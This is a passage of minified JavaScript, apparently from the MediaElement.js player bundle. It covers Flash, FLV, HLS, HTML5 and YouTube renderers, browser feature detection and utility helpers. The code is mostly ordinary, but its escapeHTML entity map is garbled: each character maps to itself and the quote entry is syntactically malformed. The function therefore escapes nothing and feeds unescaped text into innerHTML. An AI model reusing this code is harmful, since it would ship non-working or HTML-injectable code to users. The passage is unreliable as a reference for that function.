r}};if(r.hasPluginVersion("flash",[10,0,0])){j.typeChecks.push(function(e){return(e=e.toLowerCase()).startsWith("rtmp")?~e.indexOf(".mp3")?"audio/rtmp":"video/rtmp":/\.og(a|g)/i.test(e)?"audio/ogg":~e.indexOf(".m3u8")?"application/x-mpegURL":~e.indexOf(".mpd")?"application/dash+xml":~e.indexOf(".flv")?"video/flv":null});var a={name:"flash_video",options:{prefix:"flash_video",filename:"mediaelement-flash-video.swf",enablePseudoStreaming:!1,pseudoStreamingStartQueryParam:"start",pseudoStreamingType:"byte",proxyType:"",streamDelimiter:""},canPlayType:function(e){return~["video/mp4","video/rtmp","audio/rtmp","rtmp/mp4","audio/mp4","video/flv","video/x-flv"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(a);var s={name:"flash_hls",options:{prefix:"flash_hls",filename:"mediaelement-flash-video-hls.swf"},canPlayType:function(e){return~["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(s);var l={name:"flash_dash",options:{prefix:"flash_dash",filename:"mediaelement-flash-video-mdash.swf"},canPlayType:function(e){return~["application/dash+xml"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(l);var u={name:"flash_audio",options:{prefix:"flash_audio",filename:"mediaelement-flash-audio.swf"},canPlayType:function(e){return~["audio/mp3"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(u);var c={name:"flash_audio_ogg",options:{prefix:"flash_audio_ogg",filename:"mediaelement-flash-audio-ogg.swf"},canPlayType:function(e){return~["audio/ogg","audio/oga","audio/ogv"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(c)}},{2:2,25:25,27:27,28:28,3:3,5:5,7:7,8:8}],21:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=a(e(3)),b=a(e(7)),S=e(8),x=e(27),o=e(25),i=e(28),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var w={promise:null,load:function(e){return"undefined"!=typeof flvjs?w.promise=new Promise(function(e){e()}).then(function(){w._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/flv.js@latest",w.promise=w.promise||(0,r.loadScript)(e.options.path),w.promise.then(function(){w._createPlayer(e)})),w.promise},_createPlayer:function(e){flvjs.LoggingControl.enableDebug=e.options.debug,flvjs.LoggingControl.enableVerbose=e.options.debug;var t=flvjs.createPlayer(e.options,e.configs);return E.default["__ready__"+e.id](t),t}},s={name:"native_flv",options:{prefix:"native_flv",flv:{path:"https://cdn.jsdelivr.net/npm/flv.js@latest",cors:!0,debug:!1}},canPlayType:function(e){return o.HAS_MSE&&-1<["video/x-flv","video/flv"].indexOf(e.toLowerCase())},create:function(s,a,e){var t=s.originalNode,l=s.id+"_"+a.prefix,d=null,u=null;d=t.cloneNode(!0),a=Object.assign(a,s.options);for(var n=b.default.html5media.properties,c=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=function(e){var t=(0,x.createEvent)(e.type,s);s.dispatchEvent(t)},o=function(r){var e=""+r.substring(0,1).toUpperCase()+r.substring(1);d["get"+e]=function(){return null!==u?d[r]:null},d["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(r))if("src"===r){if(d[r]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==u){var t={type:"flv"};t.url=e,t.cors=a.flv.cors,t.debug=a.flv.debug,t.path=a.flv.path;var n=a.flv.configs;u.destroy();for(var o=0,i=c.length;o<i;o++)d.removeEventListener(c[o],f);(u=w._createPlayer({options:t,configs:n,id:l})).attachMediaElement(d),u.load()}}else d[r]=e}},i=0,r=n.length;i<r;i++)o(n[i]);if(E.default["__ready__"+l]=function(e){s.flvPlayer=u=e;for(var t,i=flvjs.Events,n=0,o=c.length;n<o;n++)"loadedmetadata"===(t=c[n])&&(u.unload(),u.detachMediaElement(),u.attachMediaElement(d),u.load()),d.addEventListener(t,f);var r=function(o){i.hasOwnProperty(o)&&u.on(i[o],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("error"===e){var n=t[0]+": "+t[1]+" "+t[2].msg;s.generateError(n,d.src)}else{var o=(0,x.createEvent)(e,s);o.data=t,s.dispatchEvent(o)}}(i[o],t)})};for(var a in i)r(a)},e&&0<e.length)for(var p=0,m=e.length;p<m;p++)if(S.renderer.renderers[a.prefix].canPlayType(e[p].type)){d.setAttribute("src",e[p].src);break}d.setAttribute("id",l),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none";var h={type:"flv"};h.url=d.src,h.cors=a.flv.cors,h.debug=a.flv.debug,h.path=a.flv.path;var v=a.flv.configs;d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return null!==u&&u.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.destroy()};var g=(0,x.createEvent)("rendererready",d);return s.dispatchEvent(g),s.promises.push(w.load({options:h,configs:v,id:l})),d}};i.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".flv")?"video/flv":null}),S.renderer.add(s)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],22:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=a(e(3)),b=a(e(7)),S=e(8),x=e(27),o=e(25),i=e(28),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var w={promise:null,load:function(e){return"undefined"!=typeof Hls?w.promise=new Promise(function(e){e()}).then(function(){w._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/hls.js@latest",w.promise=w.promise||(0,r.loadScript)(e.options.path),w.promise.then(function(){w._createPlayer(e)})),w.promise},_createPlayer:function(e){var t=new Hls(e.options);return E.default["__ready__"+e.id](t),t}},s={name:"native_hls",options:{prefix:"native_hls",hls:{path:"https://cdn.jsdelivr.net/npm/hls.js@latest",autoStartLoad:!1,debug:!1}},canPlayType:function(e){return o.HAS_MSE&&-1<["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:function(d,i,u){var e=d.originalNode,r=d.id+"_"+i.prefix,t=e.getAttribute("preload"),n=e.autoplay,c=null,f=null,p=0,m=u.length;f=e.cloneNode(!0),(i=Object.assign(i,d.options)).hls.autoStartLoad=t&&"none"!==t||n;for(var o=b.default.html5media.properties,h=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),v=function(e){var t=(0,x.createEvent)(e.type,d);d.dispatchEvent(t)},a=function(o){var e=""+o.substring(0,1).toUpperCase()+o.substring(1);f["get"+e]=function(){return null!==c?f[o]:null},f["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(o))if("src"===o){if(f[o]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==c){c.destroy();for(var t=0,n=h.length;t<n;t++)f.removeEventListener(h[t],v);(c=w._createPlayer({options:i.hls,id:r})).loadSource(e),c.attachMedia(f)}}else f[o]=e}},s=0,l=o.length;s<l;s++)a(o[s]);if(E.default["__ready__"+r]=function(e){d.hlsPlayer=c=e;for(var i=Hls.Events,t=function(e){if("loadedmetadata"===e){var t=d.originalNode.src;c.detachMedia(),c.loadSource(t),c.attachMedia(f)}f.addEventListener(e,v)},n=0,o=h.length;n<o;n++)t(h[n]);var s=void 0,l=void 0,r=function(o){i.hasOwnProperty(o)&&c.on(i[o],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("hlsError"===e&&(console.warn(t),(t=t[1]).fatal))switch(t.type){case"mediaError":var n=(new Date).getTime();if(!s||3e3<n-s)s=(new Date).getTime(),c.recoverMediaError();else if(!l||3e3<n-l)l=(new Date).getTime(),console.warn("Attempting to swap Audio Codec and recover from media error"),c.swapAudioCodec(),c.recoverMediaError();else{var o="Cannot recover, last media error recovery failed";d.generateError(o,f.src),console.error(o)}break;case"networkError":if("manifestLoadError"===t.details)if(p<m&&void 0!==u[p+1])f.setSrc(u[p++].src),f.load(),f.play();else{var i="Network error";d.generateError(i,u),console.error(i)}else{var r="Network error";d.generateError(r,u),console.error(r)}break;default:c.destroy()}else{var a=(0,x.createEvent)(e,d);a.data=t,d.dispatchEvent(a)}}(i[o],t)})};for(var a in i)r(a)},0<m)for(;p<m;p++)if(S.renderer.renderers[i.prefix].canPlayType(u[p].type)){f.setAttribute("src",u[p].src);break}"auto"===t||n||(f.addEventListener("play",function(){null!==c&&c.startLoad()}),f.addEventListener("pause",function(){null!==c&&c.stopLoad()})),f.setAttribute("id",r),e.parentNode.insertBefore(f,e),e.autoplay=!1,e.style.display="none",f.setSize=function(e,t){return f.style.width=e+"px",f.style.height=t+"px",f},f.hide=function(){return f.pause(),f.style.display="none",f},f.show=function(){return f.style.display="",f},f.destroy=function(){null!==c&&(c.stopLoad(),c.destroy())};var g=(0,x.createEvent)("rendererready",f);return d.dispatchEvent(g),d.promises.push(w.load({options:i.hls,id:r})),f}};i.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".m3u8")?"application/x-mpegURL":null}),S.renderer.add(s)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],23:[function(e,t,n){"use strict";var o=r(e(3)),g=r(e(2)),y=r(e(7)),E=e(8),b=e(27),i=e(25);function r(e){return e&&e.__esModule?e:{default:e}}var a={name:"html5",options:{prefix:"html5"},canPlayType:function(e){var t=g.default.createElement("video");return i.IS_ANDROID&&/\/mp(3|4)$/i.test(e)||~["application/x-mpegurl","vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())&&i.SUPPORTS_NATIVE_HLS?"yes":t.canPlayType?t.canPlayType(e.toLowerCase()).replace(/no/,""):""},create:function(n,e,t){var o=n.id+"_"+e.prefix,i=!1,r=null;void 0===n.originalNode||null===n.originalNode?(r=g.default.createElement("audio"),n.appendChild(r)):r=n.originalNode,r.setAttribute("id",o);for(var a=y.default.html5media.properties,s=function(t){var e=""+t.substring(0,1).toUpperCase()+t.substring(1);r["get"+e]=function(){return r[t]},r["set"+e]=function(e){-1===y.default.html5media.readOnlyProperties.indexOf(t)&&(r[t]=e)}},l=0,d=a.length;l<d;l++)s(a[l]);for(var u,c=y.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=0,p=c.length;f<p;f++)u=c[f],r.addEventListener(u,function(e){if(i){var t=(0,b.createEvent)(e.type,e.target);n.dispatchEvent(t)}});r.setSize=function(e,t){return r.style.width=e+"px",r.style.height=t+"px",r},r.hide=function(){return i=!1,r.style.display="none",r},r.show=function(){return i=!0,r.style.display="",r};var m=0,h=t.length;if(0<h)for(;m<h;m++)if(E.renderer.renderers[e.prefix].canPlayType(t[m].type)){r.setAttribute("src",t[m].src);break}r.addEventListener("error",function(e){e&&e.target&&e.target.error&&4===e.target.error.code&&i&&(m<h&&void 0!==t[m+1]?(r.src=t[m++].src,r.load(),r.play()):n.generateError("Media error: Format(s) not supported or source(s) not found",t))});var v=(0,b.createEvent)("rendererready",r);return n.dispatchEvent(v),r}};o.default.HtmlMediaElement=y.default.HtmlMediaElement=a,E.renderer.add(a)},{2:2,25:25,27:27,3:3,7:7,8:8}],24:[function(e,t,n){"use strict";var w=a(e(3)),P=a(e(2)),T=a(e(7)),o=e(8),C=e(27),i=e(28),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var k={isIframeStarted:!1,isIframeLoaded:!1,iframeQueue:[],enqueueIframe:function(e){k.isLoaded="undefined"!=typeof YT&&YT.loaded,k.isLoaded?k.createIframe(e):(k.loadIframeApi(),k.iframeQueue.push(e))},loadIframeApi:function(){k.isIframeStarted||((0,r.loadScript)("https://www.youtube.com/player_api"),k.isIframeStarted=!0)},iFrameReady:function(){for(k.isLoaded=!0,k.isIframeLoaded=!0;0<k.iframeQueue.length;){var e=k.iframeQueue.pop();k.createIframe(e)}},createIframe:function(e){return new YT.Player(e.containerId,e)},getYouTubeId:function(e){var t="";return 0<e.indexOf("?")?""===(t=k.getYouTubeIdFromParam(e))&&(t=k.getYouTubeIdFromUrl(e)):t=k.getYouTubeIdFromUrl(e),(t=t.substring(t.lastIndexOf("/")+1).split("?"))[0]},getYouTubeIdFromParam:function(e){if(null==e||!e.trim().length)return null;for(var t=e.split("?")[1].split("&"),n="",o=0,i=t.length;o<i;o++){var r=t[o].split("=");if("v"===r[0]){n=r[1];break}}return n},getYouTubeIdFromUrl:function(e){return null!=e&&e.trim().length?(e=e.split("?")[0]).substring(e.lastIndexOf("/")+1):null},getYouTubeNoCookieUrl:function(e){if(null==e||!e.trim().length||-1===e.indexOf("//www.youtube"))return e;var t=e.split("/");return t[2]=t[2].replace(".com","-nocookie.com"),t.join("/")}},s={name:"youtube_iframe",options:{prefix:"youtube_iframe",youtube:{autoplay:0,controls:0,disablekb:1,end:0,loop:0,modestbranding:0,playsinline:0,rel:0,showinfo:0,start:0,iv_load_policy:3,nocookie:!1,imageQuality:null}},canPlayType:function(e){return~["video/youtube","video/x-youtube"].indexOf(e.toLowerCase())},create:function(m,n,o){var h={},v=[],g=null,r=!0,a=!1,y=null;h.options=n,h.id=m.id+"_"+n.prefix,h.mediaElement=m;for(var e=T.default.html5media.properties,t=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);h["get"+e]=function(){if(null!==g){switch(i){case"currentTime":return g.getCurrentTime();case"duration":return g.getDuration();case"volume":return g.getVolume()/100;case"playbackRate":return g.getPlaybackRate();case"paused":return r;case"ended":return a;case"muted":return g.isMuted();case"buffered":var e=g.getVideoLoadedFraction(),t=g.getDuration();return{start:function(){return 0},end:function(){return e*t},length:1};case"src":return g.getVideoUrl();case"readyState":return 4}return null}return null},h["set"+e]=function(e){if(null!==g)switch(i){case"src":var t="string"==typeof e?e:e[0].src,n=k.getYouTubeId(t);m.originalNode.autoplay?g.loadVideoById(n):g.cueVideoById(n);break;case"currentTime":g.seekTo(e);break;case"muted":e?g.mute():g.unMute(),setTimeout(function(){var e=(0,C.createEvent)("volumechange",h);m.dispatchEvent(e)},50);break;case"volume":e,g.setVolume(100*e),setTimeout(function(){var e=(0,C.createEvent)("volumechange",h);m.dispatchEvent(e)},50);break;case"playbackRate":g.setPlaybackRate(e),setTimeout(function(){var e=(0,C.createEvent)("ratechange",h);m.dispatchEvent(e)},50);break;case"readyState":var o=(0,C.createEvent)("canplay",h);m.dispatchEvent(o)}else v.push({type:"set",propName:i,value:e})}},i=0,s=e.length;i<s;i++)t(e[i]);for(var l=T.default.html5media.methods,d=function(e){h[e]=function(){if(null!==g)switch(e){case"play":return r=!1,g.playVideo();case"pause":return r=!0,g.pauseVideo();case"load":return null}else v.push({type:"call",methodName:e})}},u=0,c=l.length;u<c;u++)d(l[u]);var f=P.default.createElement("div");f.id=h.id,h.options.youtube.nocookie&&(m.originalNode.src=k.getYouTubeNoCookieUrl(o[0].src)),m.originalNode.parentNode.insertBefore(f,m.originalNode),m.originalNode.style.display="none";var p="audio"===m.originalNode.tagName.toLowerCase(),E=p?"1":m.originalNode.height,b=p?"1":m.originalNode.width,S=k.getYouTubeId(o[0].src),x={id:h.id,containerId:f.id,videoId:S,height:E,width:b,playerVars:Object.assign({controls:0,rel:0,disablekb:1,showinfo:0,modestbranding:0,html5:1,iv_load_policy:3},h.options.youtube),origin:w.default.location.host,events:{onReady:function(e){if(m.youTubeApi=g=e.target,m.youTubeState={paused:!0,ended:!1},v.length)for(var t=0,n=v.length;t<n;t++){var o=v[t];if("set"===o.type){var i=o.propName,r=""+i.substring(0,1).toUpperCase()+i.substring(1);h["set"+r](o.value)}else"call"===o.type&&h[o.methodName]()}y=g.getIframe(),m.originalNode.muted&&g.mute();for(var a=["mouseover","mouseout"],s=function(e){var t=(0,C.createEvent)(e.type,h);m.dispatchEvent(t)},l=0,d=a.length;l<d;l++)y.addEventListener(a[l],s,!1);for(var u=["rendererready","loadedmetadata","loadeddata","canplay"],c=0,f=u.length;c<f;c++){var p=(0,C.createEvent)(u[c],h);m.dispatchEvent(p)}},onStateChange:function(e){var t=[];switch(e.data){case-1:t=["loadedmetadata"],r=!0,a=!1;break;case 0:t=["ended"],r=!1,a=!h.options.youtube.loop,h.options.youtube.loop||h.stopInterval();break;case 1:t=["play","playing"],a=r=!1,h.startInterval();break;case 2:t=["pause"],r=!0,a=!1,h.stopInterval();break;case 3:t=["progress"],a=!1;break;case 5:t=["loadeddata","loadedmetadata","canplay"],r=!0,a=!1}for(var n=0,o=t.length;n<o;n++){var i=(0,C.createEvent)(t[n],h);m.dispatchEvent(i)}},onError:function(e){return function(e){var t="";switch(e.data){case 2:t="The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.";break;case 5:t="The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.";break;case 100:t="The video requested was not found. Either video has been removed or has been marked as private.";break;case 101:case 105:t="The owner of the requested video does not allow it to be played in embedded players.";break;default:t="Unknown error."}m.generateError("Code "+e.data+": "+t,o)}(e)}}};return(p||m.originalNode.hasAttribute("playsinline"))&&(x.playerVars.playsinline=1),m.originalNode.controls&&(x.playerVars.controls=1),m.originalNode.autoplay&&(x.playerVars.autoplay=1),m.originalNode.loop&&(x.playerVars.loop=1),(x.playerVars.loop&&1===parseInt(x.playerVars.loop,10)||-1<m.originalNode.src.indexOf("loop="))&&!x.playerVars.playlist&&-1===m.originalNode.src.indexOf("playlist=")&&(x.playerVars.playlist=k.getYouTubeId(m.originalNode.src)),k.enqueueIframe(x),h.onEvent=function(e,t,n){null!=n&&(m.youTubeState=n)},h.setSize=function(e,t){null!==g&&g.setSize(e,t)},h.hide=function(){h.stopInterval(),h.pause(),y&&(y.style.display="none")},h.show=function(){y&&(y.style.display="")},h.destroy=function(){g.destroy()},h.interval=null,h.startInterval=function(){h.interval=setInterval(function(){var e=(0,C.createEvent)("timeupdate",h);m.dispatchEvent(e)},250)},h.stopInterval=function(){h.interval&&clearInterval(h.interval)},h.getPosterUrl=function(){var e=n.youtube.imageQuality,t=k.getYouTubeId(m.originalNode.src);return e&&-1<["default","hqdefault","mqdefault","sddefault","maxresdefault"].indexOf(e)&&t?"https://img.youtube.com/vi/"+t+"/"+e+".jpg":""},h}};w.default.onYouTubePlayerAPIReady=function(){k.iFrameReady()},i.typeChecks.push(function(e){return/\/\/(www\.youtube|youtu\.?be)/i.test(e)?"video/x-youtube":null}),o.renderer.add(s)},{2:2,26:26,27:27,28:28,3:3,7:7,8:8}],25:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.cancelFullScreen=n.requestFullScreen=n.isFullScreen=n.FULLSCREEN_EVENT_NAME=n.HAS_NATIVE_FULLSCREEN_ENABLED=n.HAS_TRUE_NATIVE_FULLSCREEN=n.HAS_IOS_FULLSCREEN=n.HAS_MS_NATIVE_FULLSCREEN=n.HAS_MOZ_NATIVE_FULLSCREEN=n.HAS_WEBKIT_NATIVE_FULLSCREEN=n.HAS_NATIVE_FULLSCREEN=n.SUPPORTS_NATIVE_HLS=n.SUPPORT_PASSIVE_EVENT=n.SUPPORT_POINTER_EVENTS=n.HAS_MSE=n.IS_STOCK_ANDROID=n.IS_SAFARI=n.IS_FIREFOX=n.IS_CHROME=n.IS_EDGE=n.IS_IE=n.IS_ANDROID=n.IS_IOS=n.IS_IPOD=n.IS_IPHONE=n.IS_IPAD=n.UA=n.NAV=void 0;var i=a(e(3)),r=a(e(2)),o=a(e(7));function a(e){return e&&e.__esModule?e:{default:e}}for(var s=n.NAV=i.default.navigator,l=n.UA=s.userAgent.toLowerCase(),d=n.IS_IPAD=/ipad/i.test(l)&&!i.default.MSStream,u=n.IS_IPHONE=/iphone/i.test(l)&&!i.default.MSStream,c=n.IS_IPOD=/ipod/i.test(l)&&!i.default.MSStream,f=(n.IS_IOS=/ipad|iphone|ipod/i.test(l)&&!i.default.MSStream,n.IS_ANDROID=/android/i.test(l)),p=n.IS_IE=/(trident|microsoft)/i.test(s.appName),m=(n.IS_EDGE="msLaunchUri"in s&&!("documentMode"in r.default)),h=n.IS_CHROME=/chrome/i.test(l),v=n.IS_FIREFOX=/firefox/i.test(l),g=n.IS_SAFARI=/safari/i.test(l)&&!h,y=n.IS_STOCK_ANDROID=/^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(l),E=(n.HAS_MSE="MediaSource"in i.default),b=n.SUPPORT_POINTER_EVENTS=function(){var e=r.default.createElement("x"),t=r.default.documentElement,n=i.default.getComputedStyle;if(!("pointerEvents"in e.style))return!1;e.style.pointerEvents="auto",e.style.pointerEvents="x",t.appendChild(e);var o=n&&"auto"===(n(e,"")||{}).pointerEvents;return e.remove(),!!o}(),S=n.SUPPORT_PASSIVE_EVENT=function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});i.default.addEventListener("test",null,t)}catch(e){}return e}(),x=["source","track","audio","video"],w=void 0,P=0,T=x.length;P<T;P++)w=r.default.createElement(x[P]);var C=n.SUPPORTS_NATIVE_HLS=g||p&&/edge/i.test(l),k=void 0!==w.webkitEnterFullscreen,_=void 0!==w.requestFullscreen;k&&/mac os x 10_5/i.test(l)&&(k=_=!1);var N=void 0!==w.webkitRequestFullScreen,A=void 0!==w.mozRequestFullScreen,L=void 0!==w.msRequestFullscreen,F=N||A||L,j=F,I="",M=void 0,O=void 0,D=void 0;A?j=r.default.mozFullScreenEnabled:L&&(j=r.default.msFullscreenEnabled),h&&(k=!1),F&&(N?I="webkitfullscreenchange":A?I="fullscreenchange":L&&(I="MSFullscreenChange"),n.isFullScreen=M=function(){return A?r.default.mozFullScreen:N?r.default.webkitIsFullScreen:L?null!==r.default.msFullscreenElement:void 0},n.requestFullScreen=O=function(e){N?e.webkitRequestFullScreen():A?e.mozRequestFullScreen():L&&e.msRequestFullscreen()},n.cancelFullScreen=D=function(){N?r.default.webkitCancelFullScreen():A?r.default.mozCancelFullScreen():L&&r.default.msExitFullscreen()});var R=n.HAS_NATIVE_FULLSCREEN=_,V=n.HAS_WEBKIT_NATIVE_FULLSCREEN=N,H=n.HAS_MOZ_NATIVE_FULLSCREEN=A,U=n.HAS_MS_NATIVE_FULLSCREEN=L,q=n.HAS_IOS_FULLSCREEN=k,B=n.HAS_TRUE_NATIVE_FULLSCREEN=F,z=n.HAS_NATIVE_FULLSCREEN_ENABLED=j,W=n.FULLSCREEN_EVENT_NAME=I;n.isFullScreen=M,n.requestFullScreen=O,n.cancelFullScreen=D,o.default.Features=o.default.Features||{},o.default.Features.isiPad=d,o.default.Features.isiPod=c,o.default.Features.isiPhone=u,o.default.Features.isiOS=o.default.Features.isiPhone||o.default.Features.isiPad,o.default.Features.isAndroid=f,o.default.Features.isIE=p,o.default.Features.isEdge=m,o.default.Features.isChrome=h,o.default.Features.isFirefox=v,o.default.Features.isSafari=g,o.default.Features.isStockAndroid=y,o.default.Features.hasMSE=E,o.default.Features.supportsNativeHLS=C,o.default.Features.supportsPointerEvents=b,o.default.Features.supportsPassiveEvent=S,o.default.Features.hasiOSFullScreen=q,o.default.Features.hasNativeFullscreen=R,o.default.Features.hasWebkitNativeFullScreen=V,o.default.Features.hasMozNativeFullScreen=H,o.default.Features.hasMsNativeFullScreen=U,o.default.Features.hasTrueNativeFullScreen=B,o.default.Features.nativeFullScreenEnabled=z,o.default.Features.fullScreenEventName=W,o.default.Features.isFullScreen=M,o.default.Features.requestFullScreen=O,o.default.Features.cancelFullScreen=D},{2:2,3:3,7:7}],26:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.removeClass=n.addClass=n.hasClass=void 0,n.loadScript=a,n.offset=s,n.toggleClass=h,n.fadeOut=v,n.fadeIn=g,n.siblings=y,n.visible=E,n.ajax=b;var l=r(e(3)),i=r(e(2)),o=r(e(7));function r(e){return e&&e.__esModule?e:{default:e}}function a(o){return new Promise(function(e,t){var n=i.default.createElement("script");n.src=o,n.async=!0,n.onload=function(){n.remove(),e()},n.onerror=function(){n.remove(),t()},i.default.head.appendChild(n)})}function s(e){var t=e.getBoundingClientRect(),n=l.default.pageXOffset||i.default.documentElement.scrollLeft,o=l.default.pageYOffset||i.default.documentElement.scrollTop;return{top:t.top+o,left:t.left+n}}var d=void 0,u=void 0,c=void 0;"classList"in i.default.documentElement?(d=function(e,t){return void 0!==e.classList&&e.classList.contains(t)},u=function(e,t){return e.classList.add(t)},c=function(e,t){return e.classList.remove(t)}):(d=function(e,t){return new RegExp("\\b"+t+"\\b").test(e.className)},u=function(e,t){f(e,t)||(e.className+=" "+t)},c=function(e,t){e.className=e.className.replace(new RegExp("\\b"+t+"\\b","g"),"")});var f=n.hasClass=d,p=n.addClass=u,m=n.removeClass=c;function h(e,t){f(e,t)?m(e,t):p(e,t)}function v(i){var r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,a=arguments[2];i.style.opacity||(i.style.opacity=1);var s=null;l.default.requestAnimationFrame(function e(t){var n=t-(s=s||t),o=parseFloat(1-n/r,2);i.style.opacity=o<0?0:o,r<n?a&&"function"==typeof a&&a():l.default.requestAnimationFrame(e)})}function g(i){var r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,a=arguments[2];i.style.opacity||(i.style.opacity=0);var s=null;l.default.requestAnimationFrame(function e(t){var n=t-(s=s||t),o=parseFloat(n/r,2);i.style.opacity=1<o?1:o,r<n?a&&"function"==typeof a&&a():l.default.requestAnimationFrame(e)})}function y(e,t){var n=[];for(e=e.parentNode.firstChild;t&&!t(e)||n.push(e),e=e.nextSibling;);return n}function E(e){return void 0!==e.getClientRects&&"function"===e.getClientRects?!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length):!(!e.offsetWidth&&!e.offsetHeight)}function b(e,t,n,o){var i=l.default.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),r="application/x-www-form-urlencoded; charset=UTF-8",a=!1,s="*/".concat("*");switch(t){case"text":r="text/plain";break;case"json":r="application/json, text/javascript";break;case"html":r="text/html";break;case"xml":r="application/xml, text/xml"}"application/x-www-form-urlencoded"!==r&&(s=r+", */*; q=0.01"),i&&(i.open("GET",e,!0),i.setRequestHeader("Accept",s),i.onreadystatechange=function(){if(!a&&4===i.readyState)if(200===i.status){a=!0;var e=void 0;switch(t){case"json":e=JSON.parse(i.responseText);break;case"xml":e=i.responseXML;break;default:e=i.responseText}n(e)}else"function"==typeof o&&o(i.status)},i.send())}o.default.Utils=o.default.Utils||{},o.default.Utils.offset=s,o.default.Utils.hasClass=f,o.default.Utils.addClass=p,o.default.Utils.removeClass=m,o.default.Utils.toggleClass=h,o.default.Utils.fadeIn=g,o.default.Utils.fadeOut=v,o.default.Utils.siblings=y,o.default.Utils.visible=E,o.default.Utils.ajax=b,o.default.Utils.loadScript=a},{2:2,3:3,7:7}],27:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.escapeHTML=a,n.debounce=s,n.isObjectEmpty=l,n.splitEvents=d,n.createEvent=u,n.isNodeAfter=c,n.isString=f;var o,i=e(7),r=(o=i)&&o.__esModule?o:{default:o};function a(e){if("string"!=typeof e)throw new Error("Argument passed must be a string");var t={"&":"&","<":"<",">":">",'"':"""};return e.replace(/[&<>"]/g,function(e){return t[e]})}function s(o,i){var r=this,a=arguments,s=2<arguments.length&&void 0!==arguments[2]&&arguments[2];if("function"!=typeof o)throw new Error("First argument must be a function");if("number"!=typeof i)throw new Error("Second argument must be a numeric value");var l=void 0;return function(){var e=r,t=a,n=s&&!l;clearTimeout(l),l=setTimeout(function(){l=null,s||o.apply(e,t)},i),n&&o.apply(e,t)}}function l(e){return Object.getOwnPropertyNames(e).length<=0}function d(e,n){var o=/^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/,i={d:[],w:[]};return(e||"").split(" ").forEach(function(e){var t=e+(n?"."+n:"");t.startsWith(".")?(i.d.push(t),i.w.push(t)):i[o.test(e)?"w":"d"].push(t)}),i.d=i.d.join(" "),i.w=i.w.join(" "),i}function u(e,t){if("string"!=typeof e)throw new Error("Event name must be a string");var n=e.match(/([a-z]+\.([a-z]+))/i),o={target:t};return null!==n&&(e=n[1],o.namespace=n[2]),new window.CustomEvent(e,{detail:o})}function c(e,t){return!!(e&&t&&2&e.compareDocumentPosition(t))}function f(e){return"string"==typeof e}r.default.Utils=r.default.Utils||{},r.default.Utils.escapeHTML=a,r.default.Utils.debounce=s,r.default.Utils.isObjectEmpty=l,r.default.Utils.splitEvents=d,r.default.Utils.createEvent=u,r.default.Utils.isNodeAfter=c,r.default.Utils.isString=f},{7:7}],28:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.typeChecks=void 0,n.absolutizeUrl=l,n.formatType=d,n.getMimeFromType=u,n.getTypeFromFile=c,n.getExtension=f,n.normalizeExtension=p;var o,i=e(7),r=(o=i)&&o.__esModule?o:{default:o},a=e(27);var s=n.typeChecks=[];function l(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=document.createElement("div");return t.innerHTML='<a href="'+(0,a.escapeHTML)(e)+'">x</a>',t.firstChild.href}function d(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:"";return e&&!t?c(e):t}function 